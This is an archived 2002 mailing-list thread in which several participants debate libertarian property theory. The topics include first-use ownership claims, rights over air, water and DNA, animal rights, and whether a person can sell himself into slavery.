--MJ}*** I can extend ownership to "right to use" and "exclusivity". It also require an exchange of ownership mechanism to be used. You give kind of inheritance mechanism for this. But this is not sufficient to distribute ownership. How a man acquire possession of things from his born to its later ages? ***{By means of the principle of prior claims. (This is all covered in detail in my book, *The Dogs of Capitalism*, but I can only give a thumbnail sketch here.) The basic idea is that, by the principle of prior claims, the possessor of the earliest provable claim to a piece of property is the owner, until such time as he voluntarily transfers those rights to someone else. By this principle, first use confers ownership. Since the person who creates a value is first user, he is the owner of the value which he created, and, since the mind of a child, by acts of will, causes the body of the child to take various actions in furtherance of its well being--swallowing food, defecating, avoiding danger, etc.--the mind or person that is the child becomes, with the passage of time, responsible for a greater and greater portion of the value of that body, and, thus, the owner of it. Thus despite the fact that, initially, the blob of embryonic protoplasm is clearly the exclusive property of the mother, from whose body its nutrition is initially taken, with the passage of time an inextricable comingling of values takes place, as more and more of the material of the body comes to be due to the contributions of the child, and less and less being due to the contributions of the parents. By such a process, the child acquires ownership of his body, and then, by using his body to create external values--e.g., building a fence, writing a symphony, working on a production line, etc.--he acquires property of the more usual sort. --MJ}*** Obviously some other transfer mechanism are needed. As "rights" are bind to "possession" in your logic, transfer of rights should be considered. Should all rights allowed be transferred? These require further principles which can not be extracted from concept of ownership. ***{Transfer of ownership is implicit in the idea of ownership--i.e., in the idea that the owner can do with his property as he wishes, so long as he respects the rights of other owners to do likewise. --MJ}*** >Exclusivity is also a problem as we naturally use shared resources in >earth like O2. O2 is product of living beings capable to photosynthesis. >Also the water. May the water one needs and rain are produced from others >"properties". Who will own rights of the rain? ***{By the principle of prior claims, first use confers ownership. Thus if an explorer discovers a new, uninhabited continent, dams a river, and installs hydroelectric generators, he acquires ownership of the water rights in the watershed above his dam. Similarly, by the principle of prior claims, if someone builds a radio station and begins transmitting on a frequency not previously used by anyone else, at some specified level of power, he acquires ownership of the rights that are required to do that, and, thus, effective ownership of that frequency in the area where transmissions at his power level can be received. Likewise, if a fisherman discovers rich fishing grounds in a new, uncharted area of the ocean, and begins to conduct commercial fishing operations there, he acquires fishing rights in that area. And so on. Bottom line: determining who holds the prior claim to the disputed rights is central to all cases where a reasoned decision is to be made. --MJ}*** >So, further principles are needed to determine rights over shared >resources which are not property. ***{No, if the goal is to settle disputes about property on the basis of reason, the principle of prior claims is the only tool you need, and, indeed, it is the only hard fact capable of being used to settle property disputes by objective, scientific means. --MJ}*** Even I restrict the concept of ownership to "property" in the meaning of land, it is not clear how it extend the ownership an exclusivity of the land in downward direction to the center to earth and into the sky. ***{As noted above, by the principle of prior claims, first use confers ownership of the previously unclaimed values that the use requires. Thus first use of a patch of land to, say, grow cotton, confers rights to the continued use the surface for such purposes, and limits but does not preclude the actions of any subsequent person who, for example, decides to tunnel beneath the property and build an underground apartment complex. How does the prior use of the surface to grow cotton limit the actions of others to tunnel beneath the property? Simple: it prevents them from doing anything that will substantially impede the growing of cotton (or other crops) on the surface. Those tunneling beneath the property, for example, cannot cause the surface to collapse, without being liable for damages. Bottom line: the principle of prior claims does *not* "extend the ownership and exclusivity of the land in a downward direction to the center of the earth and into the sky." It does, however, encumber the rights of later claimants, by requiring that they not interfere with the rights of prior claimants. --Mitchell Jones}*** >In other imprortant issue is use and consumption of other living beings by >us. All these beings have genetic designs in their DNA. These designs are >very complex and still can not be made by human capabilities. These >designs are required for their existence therefor we profit on them. Who >have the ownership of these designs? Not in a religious context., these >beings owns and share their genetic designs with others in the mechanism >of evolution. All these species had challenged with nature to carry their >design to future, that is their existence. These designs are their most >valuable possessions. Human existence require existence of other species, >from bacteria, grass, tress,crops and animals we consume. We profit from >them not because we possess them (even we farm them, we do not possess >their genetic designs), but we need them for to live. I think why justice >and rights should be based on necessities and "justifiable" criteria >rather than ownership. And most strong argument for justification is life. ***{I'm not sure what you are saying in the above, but if I were to guess, I would suppose that you are talking about "animal rights." If so, my response is that no creature can claim ownership of anything, if it does not respect the ownership rights of others. This applies regardless of whether the creature in question violates the ownership rights of others because he is intellectually incapable of comprehending where his rights end and others' rights begin, or because he simply does not choose to respect the rights of others. Either way, the creature in question assigns to himself the status of property, and is to be done with as his rightful owners, as determined by the principle of prior claims, decide. And, as usual, the actions of those owners are limited only by the necessity to respect the ownership rights of others. By virtue of this principle, it is OK to kill, injure, or confine an animal or a human in defense of persons or property, either in the heat of the moment or subsequent to a judicial procedure in which guilt has been ascertained on the basis of consideration of evidence. --MJ}*** >May you recall I had previously referenced this genetic design ownership >argument to integrate rights of other species than humans on our legal >system. This is an important arguments because we have already laws and >logic to protect designs like copyrights and patents. Even some biogenetic >research firms have patents of genetic material like mouses that are used >on experimenting human diseases on them. So it would not be hard >technically include natural designs and gene pools on our copyright >protecting system. ***{"Mouses"--i.e., mice--do not respect the ownership rights of humans, and, thus, they have no ownership rights themselves. Result: we can do with them as we will, subject only to the limitation that we do not violate any bona fide ownership rights when we do so. --MJ}*** >As mike stated ***{I have seen nothing from him on vortexb-l, which is the only vortex group from which I still receive messages. --MJ}*** , many communities and nations have very limited notion of ownership. They have not exclusivity over resources and rights and justice is not based on possession. From these facts I can deduce the ownership is not foundation of rights and justice but ownership is a product of rights according a specific agreement over communities. ***{If, as I believe, the principle of prior claims provides the *only* basis for settling disputes about property on the basis of reason, then the decisions of arbiters in nations which do not recognize that principle are unjust, and your assumption to the contrary is just that: an assumption. Here, therefore, is my question for you: by what criteria might an arbiter decide to override a provable prior claim, if he is committed to settling disputes on the basis of reason? --Mitchell Jones}*** [snip] >hamdi ucar ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Tue Jan 1 04:32:46 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id EAA00548; Tue, 1 Jan 2002 04:31:47 -0800 Resent-Date: Tue, 1 Jan 2002 04:31:47 -0800 Message-ID: <3C31AA62.2AD38BC9@verisoft.com.tr> Date: Tue, 01 Jan 2002 14:24:02 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"tc0ec.0.U8.pmQCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1526 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 23 Mitchell Jones wrote: > > > > > >In other imprortant issue is use and consumption of other living beings by > >us. All these beings have genetic designs in their DNA. These designs are > >very complex and still can not be made by human capabilities. These > >designs are required for their existence therefor we profit on them. Who > >have the ownership of these designs? Not in a religious context., these > >beings owns and share their genetic designs with others in the mechanism > >of evolution. All these species had challenged with nature to carry their > >design to future, that is their existence. These designs are their most > >valuable possessions. Human existence require existence of other species, > >from bacteria, grass, tress,crops and animals we consume. We profit from > >them not because we possess them (even we farm them, we do not possess > >their genetic designs), but we need them for to live. I think why justice > >and rights should be based on necessities and "justifiable" criteria > >rather than ownership. And most strong argument for justification is life. > > ***{I'm not sure what you are saying in the above, but if I were to guess, > I would suppose that you are talking about "animal rights." If so, my > response is that no creature can claim ownership of anything, if it does > not respect the ownership rights of others. This applies regardless of > whether the creature in question violates the ownership rights of others > because he is intellectually incapable of comprehending where his rights > end and others' rights begin, or because he simply does not choose to > respect the rights of others. Either way, the creature in question assigns > to himself the status of property, and is to be done with as his rightful > owners, as determined by the principle of prior claims, decide. And, as > usual, the actions of those owners are limited only by the necessity to > respect the ownership rights of others. By virtue of this principle, it is > OK to kill, injure, or confine an animal or a human in defense of persons > or property, either in the heat of the moment or subsequent to a judicial > procedure in which guilt has been ascertained on the basis of consideration > of evidence. --MJ}*** I said: Who have the ownership of these design of DNA of every species? I tried to explain that these DNA designs are considered as intellectual property by the laws (in the case if an engineer makes a modification on a original DNA) This would automatically credit the original DNA design that its rights are naturally owned by the species that it DEVELOPED. This is not about animal rights. Any species primitive or advanced, are AWARE of the worth of this ownership, actually is the most precious property of the species. It is the aim of their existence. My question is valid because I think: 1) DNA or genetic design is considered intellectual property by laws. 2) They are carried by the beings that designed by this information. 3) Genetic design of species are developed the the species themselves by evolution. These are not arbitrary bunch of data, but developed in very painfully manner in the step of evolution. 4) Main reason of existence of species can be understand as to protect and further develop their genetic design. Further examination of behavior of species support the species are in consciousness of this possession. 5) Every species have a logic. These are not arbitrary behaving entities, their logic are mainly for their survival. These logic is same as humans makes define their rights for their survival. 6) Humans needs to benefit from existence of other species for their survival. 7) Rights of o species in our civil system is totally different from right of the genetic design of the species. For example a grain, or a crop have no right and function in our civil system but its genetic design have. It would not be a good argument to not respect genetic design rights of a crop because crop does not recognize or respect rights of others. > >May you recall I had previously referenced this genetic design ownership > >argument to integrate rights of other species than humans on our legal > >system. This is an important arguments because we have already laws and > >logic to protect designs like copyrights and patents. Even some biogenetic > >research firms have patents of genetic material like mouses that are used > >on experimenting human diseases on them. So it would not be hard > >technically include natural designs and gene pools on our copyright > >protecting system. > > ***{"Mouses"--i.e., mice--do not respect the ownership rights of humans, > and, thus, they have no ownership rights themselves. Result: we can do with > them as we will, subject only to the limitation that we do not violate any > bona fide ownership rights when we do so. --MJ}*** > The logic you use appears be basically incorrect. Humans, from historical perspective are not right respecting species. But as they civilized, they tried to constitute rules in order an authority (third party) could guard owned things of others. Scope of this mechanism is well determined. Authority will guard parties that only recognize the authority (by paying fees) Now you are defending an extended form of the above logic which exclude (rights and ownership of) other species by the argument that other species does not recognize this logic. This can only be understand as "discrimination". For example a community could decide not to recognize any rights of people born in saturdays, because people born is saturdays would not recognize this rule that strip their rights. Discrimination is the proof of that logic is not about respecting rights of others, but about a logic to NOT respect rights. Regards, hamdi ucar From vortexb-l-request@eskimo.com Tue Jan 1 04:46:10 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id EAA03504; Tue, 1 Jan 2002 04:45:12 -0800 Resent-Date: Tue, 1 Jan 2002 04:45:12 -0800 Sender: jack@mail3.centurytel.net Message-ID: <3C31AE8B.19959415@centurytel.net> Date: Tue, 01 Jan 2002 12:41:47 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <"BgJF73.0.hs.OzQCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1527 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 24 Mitchell wrote: ... Since the person who creates a value is first user, he is the owner of the value which he created, and, since the mind of a child, by acts of will, causes the body of the child to take various actions in furtherance of its well being--swallowing food, defecating, avoiding danger, etc.--the mind or person that is the child becomes, with the passage of time, responsible for a greater and greater portion of the value of that body, and, thus, the owner of it. Thus despite the fact that, initially, the blob of embryonic protoplasm is clearly the exclusive property of the mother ... By such a process, the child acquires ownership of his body, and then, by using his body to create external values--e.g., building a fence, writing a symphony, working on a production line, etc. --he acquires property of the more usual sort. hamdi wrote: Obviously some other transfer mechanism are needed. As "rights" are bind to "possession" in your logic, transfer of rights should be considered. Should all rights allowed be transferred? These require further principles which can not be extracted from concept of ownership. Mitchell wrote: Transfer of ownership is implicit in the idea of ownership--i.e., in the idea that the owner can do with his property as he wishes, so long as he respects the rights of other owners to do likewise. Hi Mitchell, Do you think anyone is entitled to sell himself into slavery? Jack Smith From vortexb-l-request@eskimo.com Tue Jan 1 05:18:00 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id FAA11981; Tue, 1 Jan 2002 05:17:26 -0800 Resent-Date: Tue, 1 Jan 2002 05:17:26 -0800 Message-ID: <3C31B550.CAEE96E6@verisoft.com.tr> Date: Tue, 01 Jan 2002 15:10:40 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> <3C31AE8B.19959415@centurytel.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"gR91u1.0.4x2.cRRCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1528 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 25 "Taylor J. Smith" wrote: > > > hamdi wrote: > > Obviously some other transfer mechanism are needed. As > "rights" are bind to "possession" in your logic, transfer > of rights should be considered. Should all rights allowed > be transferred? These require further principles which > can not be extracted from concept of ownership. > > Mitchell wrote: > > Transfer of ownership is implicit in the idea of > ownership--i.e., in the idea that the owner can do with > his property as he wishes, so long as he respects the > rights of other owners to do likewise. > > Hi Mitchell, > > Do you think anyone is entitled to sell himself into > slavery? > Yes! Men. :) > Jack Smith hamdi ucar From vortexb-l-request@eskimo.com Tue Jan 1 09:48:41 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id JAA07466; Tue, 1 Jan 2002 09:45:45 -0800 Resent-Date: Tue, 1 Jan 2002 09:45:45 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net (Unverified) Message-Id: In-Reply-To: References: <3C277D59.1F74F162@verisoft.com.tr> Date: Tue, 1 Jan 2002 11:44:20 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice: Community property Resent-Message-ID: <"Z3MwT1.0.bq1.9NVCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1529 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 26 >Greetings again, Hamdi and Mitchell, > >Community property, such as 'rain' and air > might not be what you think they are. > >Rain falls on everyone, right ? >Air is a 'right', right ? >Not really. > >Consider what happens to the lazy bum who habitually steals > and consistently makes a nuisance of himself to others > aboard some distant space station. >Allergic to work, devout communist that he is, > he would, in short order find his 'right' to atmospheric > pressure suspended for a term long enough to ensure his > activities permanently cease. Ideally, his 'possessions' would then > be redistributed to those he had previously short-changed. ***{It depends on the specifics of the situation. Assume, for example, that Spaceport Inc. constructed, owns, and operates the station, and that the "bum" came aboard as an employee who agreed to perform some task--e.g., computer programming--in return for some specific salary plus room and board. In that case, "room and board" obviously includes air to breathe, and, if he fails to do the job he contracted to do, and is fired, he can be ordered off of the station. If, however, the company elects to simply eject him into space, a neutral, reasoning arbiter would find them guilty of murder. The reason: standard conditions are assumed unless it is explicitly stated otherwise, and, obviously, if it had been explicitly stated in the contract that a bad performance evaluation would result in the employee being ejected into space, nobody in his right mind would have taken the job. --MJ}*** >Does your 'right' to air mean that you have the 'right' > to steal the oxygen from it, to pollute it with CO, CO2, etc. > and make it difficult for others to breathe ? ***{Again, it depends on the specifics. Suppose, for example, that you find a previously uninhabited island, hire 1000 workers with the understanding that if they become dissatisfied with the environmental conditions on the island, their only recourse is to move elsewhere, and with their assistance you build a large refinery and begin shipping in large amounts of crude oil and shipping out large amounts of refined products. In that case, because a thriving community has been established on the island, it is predictable that others will come to the island to work as auto mechanics, carpenters, electricians, grocers, etc., serving the various needs of the refinery and its personnel. Result: at some future date, those latecomers may decide that they don't like the breathing conditions on the island, and begin to demand that you, the refinery owner, spend millions to install pollution abatement equipment. If the question goes before a neutral, reasoning arbiter, how will he decide? The answer: you, the owner of the refinery, hold the prior claim to the land on which your plant is sited, to the inputs of atmospheric gases that are required to operate it, and to the discharges of effluents that are required as well. They, as late comers, cannot encumber those rights: you were there first. Your claim--the prior claim--encumbers their rights, rather than the other way around. That means you can continue to operate, after they are there, in the same way that you operated *before* they were there, and, in reason, there isn't a damn thing they can do about it. If they don't like the situation, they can leave. --MJ}*** >Rain should fall where it will, and air should follow the wind. >Whatever you do to it while in your 'domain' is > then a chargeable cost you owe the community, > however you wish to measure it. ***{A "community" is just a group of individuals, and has no rights not possessed by the individuals that comprise it. (This is known as "the principle of individual rights.") If those individuals arrived after the refinery was in operation, their rights were encumbered by the rights of the refinery owners, and thus the rights of any "community" which they form are also similarly encumbered. --MJ}*** >Why should the community be compensated ? Because the resources > you use are then no longer available to the rest of the community, > be they downwind, downriver, or whatever. ***{They never were available, in the circumstance described above, because the refinery came first. It is only if the "community"--i.e., the individuals--came first, that their rights would encumber those of the refinery owners. That's why, if justice is to be done, the arbiter's first task is to determine who holds the prior claim. --MJ}*** >The community is a framework that defines the boundaries of property. ***{The boundaries of property can be determined in one way, and in one way only: by determining who holds the prior claim, in each of the instances where rights are in dispute. --MJ}*** >It is not some 'higher authority' that needs to be worshipped, > as communists do, nor does it have pre-emptive say, > as most governments prescribe. > It is simply the collection of individuals that > share a common resource such as an atmosphere, or river drainage. ***{It is erroneous to suppose that such things as air, water, the airwaves, fishing rights, water rights, etc., are "community property," or that they are in some sense intrinsically "unowned." An analysis based on the principle of prior claims will, in each case that is disputed, reveal the true owners, and the boundaries demarcating their ownership. --MJ}*** >............... >As to DNA and other 'designs' >I regard 'design protection' >- and anything else regarding intellectual property - > as being at least unenforcable and > moreso a complete waste of time and community resources. >On this side of the planet are good examples > of what a waste of time it is. >Consider a Galactic Empire > with millions of little bespectacled green-skinned accountant-types > zooming through zillions of cubic light-years trying to enforce > intellectual protection on DNA - what if it's your DNA ? > - do you then need to be terminated because some holo-hero > on the other side of the galaxy designed a DNA- baby for his wife > and got court-protection that it would never be duplicated > - years before you were born? > Absurdities are born at relativistic velocities... > >If you design it -!- build, or sell it, > or form partnership with someone who can. >Don't waste taxpayer dollars trying to enforce the unenforceable. ***{By the principle of prior claims, first use confers ownership. Result: each person acquires the ownership of his own DNA--i.e., the physical DNA material in his body--in the same way that he acquires ownership of his body. (See my earlier response to Hamdi on this topic.) As far as the right to *publish* DNA, that would fall to the first person to sequence it, in the same way that the right to publish a book falls to the author. Concerning the right to biologically reproduce a plant or an animal having a specific genetic makeup, that would fall to the owner of that plant or animal. In the case of sentient beings--e.g., humans--self-ownership confers the right to biologically reproduce (given the voluntary consent of the oppositely sexed partner, of course). --MJ}*** >=====afterthought------ >The 'Greenies' are fond of reciting that the Earth surface > is 75% water covered > - a prime component of our environmental balancesheet. > >I would rather point out that the Universe we know about > is primarily a radiation-poisoned near-vacuum, and that any environmental > balancesheet begins there, > not from a basis of abundant air and water. > >----followon: >Our inheritance is primarily that our ancestors had the good sense > to settle on this planet, ensuring we had abundant air, water, etc. >We should regard this as an inheritance, and not squander it. > >cheers >Paul ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Tue Jan 1 10:33:30 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id KAA20272; Tue, 1 Jan 2002 10:22:47 -0800 Resent-Date: Tue, 1 Jan 2002 10:22:47 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net (Unverified) Message-Id: In-Reply-To: <3C31AE8B.19959415@centurytel.net> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Tue, 1 Jan 2002 12:19:52 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"ZIPoG1.0.gy4.tvVCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1530 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 27 >Mitchell wrote: > >... Since the person who creates a value is first user, >he is the owner of the value which he created, and, >since the mind of a child, by acts of will, causes the >body of the child to take various actions in furtherance >of its well being--swallowing food, defecating, avoiding >danger, etc.--the mind or person that is the child becomes, >with the passage of time, responsible for a greater and >greater portion of the value of that body, and, thus, >the owner of it. Thus despite the fact that, initially, >the blob of embryonic protoplasm is clearly the exclusive >property of the mother ... > >By such a process, the child acquires ownership of his >body, and then, by using his body to create external >values--e.g., building a fence, writing a symphony, working >on a production line, etc. --he acquires property of the >more usual sort. > >hamdi wrote: > >Obviously some other transfer mechanism are needed. As >"rights" are bind to "possession" in your logic, transfer >of rights should be considered. Should all rights allowed >be transferred? These require further principles which >can not be extracted from concept of ownership. > >Mitchell wrote: > >Transfer of ownership is implicit in the idea of >ownership--i.e., in the idea that the owner can do with >his property as he wishes, so long as he respects the >rights of other owners to do likewise. > >Hi Mitchell, > >Do you think anyone is entitled to sell himself into >slavery? ***{If, in return for a payment, a person agrees to obey someone else's orders for the rest of his life, I have no problem with that--providing, of course, that if he at some point decides to no longer obey the other person's orders, the resulting dispute over property will go to a neutral arbiter. After all, a neutral arbiter will obviously treat such a dispute as a case of breach of contract--which means: he will merely order the "slave" to return a pro rated portion of the payment, depending on how long he complied with the contract. The implication: in a system where disputes are decided by neutral, reasoning arbiters, "slavery" is just a word. --MJ}*** >Jack Smith ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Wed Jan 2 07:19:07 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id HAA23220; Wed, 2 Jan 2002 07:08:09 -0800 Resent-Date: Wed, 2 Jan 2002 07:08:09 -0800 Sender: jack@mail3.centurytel.net Message-ID: <3C332188.17FF0356@centurytel.net> Date: Wed, 02 Jan 2002 15:04:40 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <"lacVY2.0.lg5.P9oCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1531 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 28 Jack wrote: Do you think anyone is entitled to sell himself into slavery? Mitchell wrote: If, in return for a payment, a person agrees to obey someone else's orders for the rest of his life, I have no problem with that --providing, of course, that if he at some point decides to no longer obey the other person's orders ... Hi Mitchell, I should have asked, "Do you think anyone is entitled to IRREVOCABLY sell himself into slavery?" Jack Smith From vortexb-l-request@eskimo.com Wed Jan 2 15:33:59 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id PAA02305; Wed, 2 Jan 2002 15:32:17 -0800 Resent-Date: Wed, 2 Jan 2002 15:32:17 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net (Unverified) Message-Id: In-Reply-To: <3C332188.17FF0356@centurytel.net> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Wed, 2 Jan 2002 17:30:00 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"A8f6Y2.0.tZ.0YvCy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1532 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 29 >Jack wrote: > >Do you think anyone is entitled to sell himself into >slavery? > >Mitchell wrote: > >If, in return for a payment, a person agrees to obey someone else's >orders for the rest of his life, I have no problem with that >--providing, of course, that if he at some point decides to no >longer obey the other person's orders ... > >Hi Mitchell, > >I should have asked, "Do you think anyone is entitled to >IRREVOCABLY sell himself into slavery?" ***{Objectively, a criminal is a person who attempts the unilateral settlement of a dispute over property. Result: if a person breaches a contract, thereby giving rise to a dispute over property, and the other party to the dispute acts unilaterally to achieve the outcome he desires, he becomes a criminal. Result: if you sell yourself into slavery and, subsequently, decide to no longer abide by the contract, your "master" must take the resulting dispute before a neutral arbiter. If, instead, he attempts to settle it himself--e.g., by beating you with a bullwhip until you agree to resume obeying his orders--he becomes a criminal. Bottom line: my entire political position rests on one premise: that disputes over property ought to be taken before neutral arbiters, and that anyone who attempts to settle such a dispute by other means is a criminal. Within such a system, no contract can ever be irrevocable, because if one of the parties ceases to perform, a dispute arises that must be settled by arbitration, and the decision of the arbiter, once made, will replace, nullify, and supercede the contract. --Mitchell Jones}*** >Jack Smith ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Thu Jan 3 06:48:35 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id GAA07441; Thu, 3 Jan 2002 06:45:27 -0800 Resent-Date: Thu, 3 Jan 2002 06:45:27 -0800 Sender: jack@mail3.centurytel.net Message-ID: <3C346DBB.1F7431EF@centurytel.net> Date: Thu, 03 Jan 2002 14:42:03 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <"sS_TA.0.Aq1.7w6Dy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1533 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 30 Jack wrote: Do you think anyone is entitled to IRREVOCABLY sell himself into slavery? Mitchell wrote: Bottom line: my entire political position rests on one premise: that disputes over property ought to be taken before neutral arbiters, and that anyone who attempts to settle such a dispute by other means is a criminal. Within such a system, NO CONTRACT CAN EVER BE IRREVOCABLE, because if one of the parties ceases to perform, a dispute arises that must be settled by arbitration, and the decision of the arbiter, once made, will replace, nullify, and supercede the contract. Hi Mitchell, Under American law, a contract can be irrevocable, whether it should be or not. In fact, given the human frailty of arbitrators and the power of owners, even the vilest contracts could be irrevocable, as a practical matter. I take the position that it is fundemental to justice that certain contracts must be prohibited, in particular those that alienate certain inalienable rights such a "life, liberty, and the pursuit of happiness." Attempts to impose such contracts on us by rackteers (the mob that ruled Russia known as Communists comes to mind) must be resisted by every possible means, even against the will of those who would sell themselves for a mess of pottage. I think that no human law or constitution, enforced by humans, is incorruptible; and so we must be eternally vigilent. Jack Smith From vortexb-l-request@eskimo.com Thu Jan 3 07:43:30 2002 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id HAA31382; Thu, 3 Jan 2002 07:40:26 -0800 Resent-Date: Thu, 3 Jan 2002 07:40:26 -0800 From: "xplorer" To: Subject: RE: Foundation Of Justice Date: Thu, 3 Jan 2002 22:44:37 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <3C346DBB.1F7431EF@centurytel.net> Resent-Message-ID: <"URp8q1.0.Cg7.gj7Dy"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1534 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 31 That's well said: > -----Original Message----- > From: jack@mail3.centurytel.net [mailto:jack@mail3.centurytel.net]On > Behalf Of Taylor J. Smith > Sent: 2002 January 03 Thursday 21:42 > To: vortexb-l@eskimo.com > Subject: Re: Foundation Of Justice > >*< > > I think that no human law or constitution, enforced by humans, > is incorruptible; and so we must be eternally vigilent. > > Jack Smith From vortexb-l-request@eskimo.com Fri Jan 4 09:33:00 2002 Received: (from smartlst@localhost) by mx2.eskimo.com (8.9.1a/8.8.8) id JAA23012; Fri, 4 Jan 2002 09:29:15 -0800 (PST) Resent-Date: Fri, 4 Jan 2002 09:29:15 -0800 (PST) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C346DBB.1F7431EF@centurytel.net> References: <3C2711D5.17157B05@verisoft.com.tr> Date: Fri, 4 Jan 2002 11:22:41 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"kpzib2.0.Rd5.fPUDy"@mx2> Resent-From: vortexb-l@eskimo.com Reply-To: 